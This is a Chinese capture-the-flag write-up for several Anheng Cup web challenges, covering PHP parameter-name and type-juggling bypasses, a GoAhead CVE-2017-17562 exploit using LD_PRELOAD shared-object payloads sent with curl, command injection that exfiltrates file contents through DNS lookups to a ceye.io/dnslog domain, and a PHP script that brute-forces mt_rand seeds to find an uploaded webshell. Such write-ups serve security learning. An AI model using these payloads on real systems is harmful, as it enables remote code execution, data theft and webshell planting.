渣渣一枚,萌新一个,划了安恒杯秋季选拔赛,题目扎心(Orz.jpg)
个人写的writrup大佬轻喷(QAQ)
这是我做的第一题,感觉还可以一道代码审计的题目,发现了一个我以前没见过的知识点,可以详细看看这个链接
https://bugs.shuimugan.com/bug/view?bug_no=64792
从上面可以看出,简单点解释就是当代码中存在$_REQUEST['user_id']
里面类似的参数的时候,我们在url
上可以这样a.php?user.id
传参去进行绕过,这样进去之后也能表示$_REQUEST['user_id']
的值,同样可以绕过的符号还有+``.``[
等,应该说是php
的一个小特性,上面讲的很清楚了
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
阅读代码发现,首先第一步要绕过A_A
这个符号,如果出现这个符号他就会显示A_A,have fun
,就不能继续往下面执行到file_get_contents('flag.php')
了,
但是我们发送get
参数的时候又必须要发送,因此我们就用到刚才的知识点,我们可以用A.A
或者是A+A
去传参去绕过。
下面的代码就是常规的数字绕过了,但这里也用到了一个trick
,就是无论你的数字多大,对于数组而言总是比数组小,下面是操作
所以说,我们可以利用数组去绕过$str<9999999999
的特性,下面一个判断是强制转化为字符串在与数字比较的判断,
这就是平常操作很多的弱类型了,直接让参数等于admin
就可以了,因为“admin”== 0
,结果是true
,直接等于0绕过即可,所以这题的payload
http://114.55.36.69:8022/?A.A[]=admin
或者使用
http://114.55.36.69:8022/?A+A[]=admin
然后查看源代码就会得到:flag={09bc24026c987ae44a6e424479b2e3}
这题拿到题目发现无法访问,扫了下端口,发现是8080端口开放
进去后可以看见Hello gogogo
感觉没什么用,抓了个包看看,发现是goahead
于是搜了一波,发现有CVE:
GoAhead服务器 远程命令执行漏洞(CVE-2017-17562)
附上Freebuf的一篇文章http://www.freebuf.com/vuls/158089.html
漏洞利用也非常简单
payload.c
# PoC/payload.c
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
然后gcc成so文件:gcc -shared -fPIC ./payload.c -o payload.so
然后攻击
curl -X POST --data-binary @payload.so http://ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i
可以得到回显
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
Content-type: text/html
只要出现hello: World!就说明攻击成功了
那么下面构造我们的攻击payload
首先是找文件的绝对路径 使用c语言进行操作,c语言实现执行命令的脚本网上一搜一大堆,
最后发现是www目录下的goahead文件夹
然后读文件
#include "stdio.h"
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
char filename[] = "/var/www/goahead/cgi-bin/hello.cgi";
FILE *fp;
char StrLine[1024];
if((fp = fopen(filename,"r")) == NULL)
{
printf("error!");
return -1;
}
while (!feof(fp))
{
fgets(StrLine,1024,fp);
printf("%s\n", StrLine);
}
fclose(fp);
}
即可拿到flag
curl -X POST --data-binary @payload.so http://192.168.5.42:8080/cgi-bin/hello.cgi?LD_PRELOAD\=/proc/self/fd/0 -i
HTTP/1.1 200 OK
Server: GoAhead-http
Date: Sun Jan 21 04:31:28 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Hello GOGOGO#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print "Hello GOGOGO";
#flag{ef9f1f880e1f001bedd32bfc52674128}
#flag{ef9f1f880e1f001bedd32bfc52674128}
进去查看相应头Server: GoAhead-http,查找资料,这个cgi存在代码执行漏洞
网上的POC大多为反弹shell,这道题由于服务器配置问题无法实现,有题干知flag在cgi-bin/hello.cgi中,故只需要执行代码读取cgi文件即可
Linux中编写如下代码(我开始想复杂了,还想调用popen执行cat读取,只需要fread就可以了):
//poc.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
FILE* fp = fopen("cgi-bin/hello.cgi", "r");
char buf[2048];
fread(buf, sizeof(buf), 1, fp);
write(1, buf, sizeof(buf));
}
执行指令编译动态库并发送payload
:
gcc -shared -fPIC poc.c -o poc.so && curl -X POST --data-binary @poc.so http://114.55.36.69:8018/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i --output 1.txt
读取1.txt获得flag:flag{ef9f1f880e1f001bedd32bfc52674128}
这是一个命令执行题。通过get
传入ping
参数,后台使用system(‘ping’, $_GET[‘ping’])
来执行命令。不过在执行之前把'<‘和’>’
给过滤了,
也就是说无法使用重定向来cat flag
文件的值(就算不过滤我也不知道咋利用)。刚好前几天看到了关于dnslog
在盲注中的利用,
就想,dnslog
能不能在这里用到?试试吧。
先试试dnslog
能不能用:
?ping=111.13.100.91(百度的ip) -c 1; ping `uname`.****.ceye.io(记录dns查询的平台域名)
打开dnslog
平台,果然发现了一条记录:linux.****.ceye.io
。嘻嘻。既然你那么直接,我也就跟你直接点啦!接招:
?ping=111.13.100.91 -c 1; ping `cat where_is_flag.php`.****.ceye.io
按完回车,心想,flag
那么容易就到手了?回到平台看一看,没有!又试了几遍,还是不行!仔细一想,
有可能被文件中的空格和换行符干扰到了,那就编码一下呗。便把payload换成cat where_is_flag.php | base64
,回去看,
还是不行。。大招用完了,剩下的只好请教百度。果然找到了个好姿势:
for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;
换成自己的payload:
?ping=111.13.100.91 -c 1; for i in $(cat where_is_flag.php); do ping " $i.****.ceye.io"; done;
终于成功了,这个文件的内容是真正flag文件的相对路径,将payload稍微改一下就好了。
得到flag{sdfsdfvdfbdgsd}
进入后查看robots.txt
,获得源码,以及where_is_flag.php
<?php
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);
?>
知需要使用ping
读取文件where_is_flag.php
,这里使用一个开源项目搭建的平台CEYE
,原理是访问一个域名的下属子域名时,
dns
解析会有记录。在linux
中可以使用飘号包裹命令,如:ping 'echo 111'.xxx.com
('代表飘号,Markdown中写不出来)。
或可以使用ping http://xxxxx/'whoami
',解析主机的访问记录
但是这里由于换行符的干扰无法直接读取文件,故使用bash的循环:
ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.3awcx4.ceye.io;done;
得到$flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php"
,同样的方法读取,
得到flag{sdfsdfvdfbdgsd}
这题看到后再看前面题目名也是ping,感觉应该是类似的操作,所以估计这题也是命令执行了。
进入网页后看到一个输入框,输入ip地址,然后输入框下面会回显ping的结果。
尝试在ip地址后加上一些字符,来执行下一个命令。比如:
1.1.1.1|ls
1.1.1.1 > ls
1.1.1.1; ls
1.1.1.1&ls
反正就是一顿乱揍,到最后的&终于成功回显了:
通过观察ls的回显,发现了一个upload
文件夹和一个文件上传的php文件。进入you_find_upload.ph
p页面,就是一个常规的文件上传页面。
上传之后也没啥回显,也不知道文件名。发现上面的导航栏多了个查看源码,点进去。
就会得到you_find_upload.php
源码,源码如下(无关紧要的html代码我就不贴了,太长了):
<form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "ä½ è¿ä¸ªå©åï¼too young too simple";
}
else{
@include $_GET['p'].".php";
}
}
?>
</pre>
</form>
分析之后发现对于上传的文件有个限制,就是文件名必须以.jpg或.png或.gif结尾。上传之后,将文件命名成”随机数字+_+原文件名”。
这里发现,就算上传了图片马,你没有随机数啊!所以还是找不到文件的。
仔细看代码,发现三个关键点:
1.mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这是生成一个随机种子
2.echo mt_rand()
做一次随机运算
3. $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
再做一此随机运算,并将这个随机数作为文件名的一部分。
由此可见,如果第三步的随机数能搞到,那文件名就出来了。可是这个随机数怎么搞?只好求助一下百度,
发现mt_rand()生成的是伪随机数,也就是说,只要种子固定,那么每次的的mt_rand()都是固定的。举个例子:
<?php
mt_srand(1);//先给个值为1的种子
echo mt_rand();//输出随机数
echo "<br>";
echo mt_rand();//再次输出随机数
echo "<br>";
echo mt_rand();//再再次输出随机数
?>
输出结果:
1244335972
15217923
1546885062
再刷新试试,就会发现,不管刷新多少次,生成的随机数都是固定的。因此生成的随机数只跟两个值有关,一个是种子的值,一个是计算的次数。
而种子在源代码中有,计算的次数我们也已经知道了(2次,因为第二个mt_rand()用于合成文件名)。所以,基本上文件名就出来了。看一下种子:
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这个种子是跟时间相关的,可是你echo一下种子你就会发现,种子的值在0~10000之间(并不精确,仅仅是我根据echo大致猜测的)。
整理一下思路,我上面说,随机数只跟两个因素有关,一个是种子,一个是计算的次数。现在已经知道了,种子的值是0~10000,计算的次数是2。
所以我们最多只要计算1w次就能找到这个随机数了。方法就是写个php脚本,进行爆破。这里有个小技巧,你可以将同一个文件上传多次,
这样爆破的时间会减少很多。上脚本(渣渣一个,脚本写的太渣了QAQ):
<?php
/*上传文件名为1.php.jpg*/
$url = 'http://192.168.5.85/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
echo "No.".$index;
echo "<br>";
mt_srand($index);
mt_rand();
$random_pre = mt_rand();
$filename = $random_pre.'_1.php.jpg';
$cur_url = $url.$filename;
if(curl_get($cur_url)){
$result = $result.$filename.'--';
exit;
}
$index++;
}
if($index == 1001){
echo "no result!";
}
function curl_get($tmp_url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$tmp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,1);
$result=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($code=='404' && $result){
curl_close($ch);
return 0;
} else {
curl_close($ch);
echo $code;
echo "<br>";
echo "#####got one!===>>>".$tmp_url;
echo "<br>";
return 1;
}
}
这样基本就能爆破出我们的文件了,爆出来之后面临的问题就是解析了。众所周知,apache
的解析漏洞只能使用apache不认识的后缀名,
而这题已经限制死了,必须以图片格式结尾。所以常规办法已经无法继续了(也许因为我菜?),后来尝试1.php.jpg
时,没想到竟然成功解析了!
解析成功后用菜刀连一下,发现flag在根目录下(第一次做上传的我,光找这个flag就找了十多分钟QAA)。
参考文章:
DNSlog攻击技巧:https://www.0dayhack.com/post-481.html
解析如何在C语言中调用shell命令的实现方法:https://www.jb51.net/article/37404.htm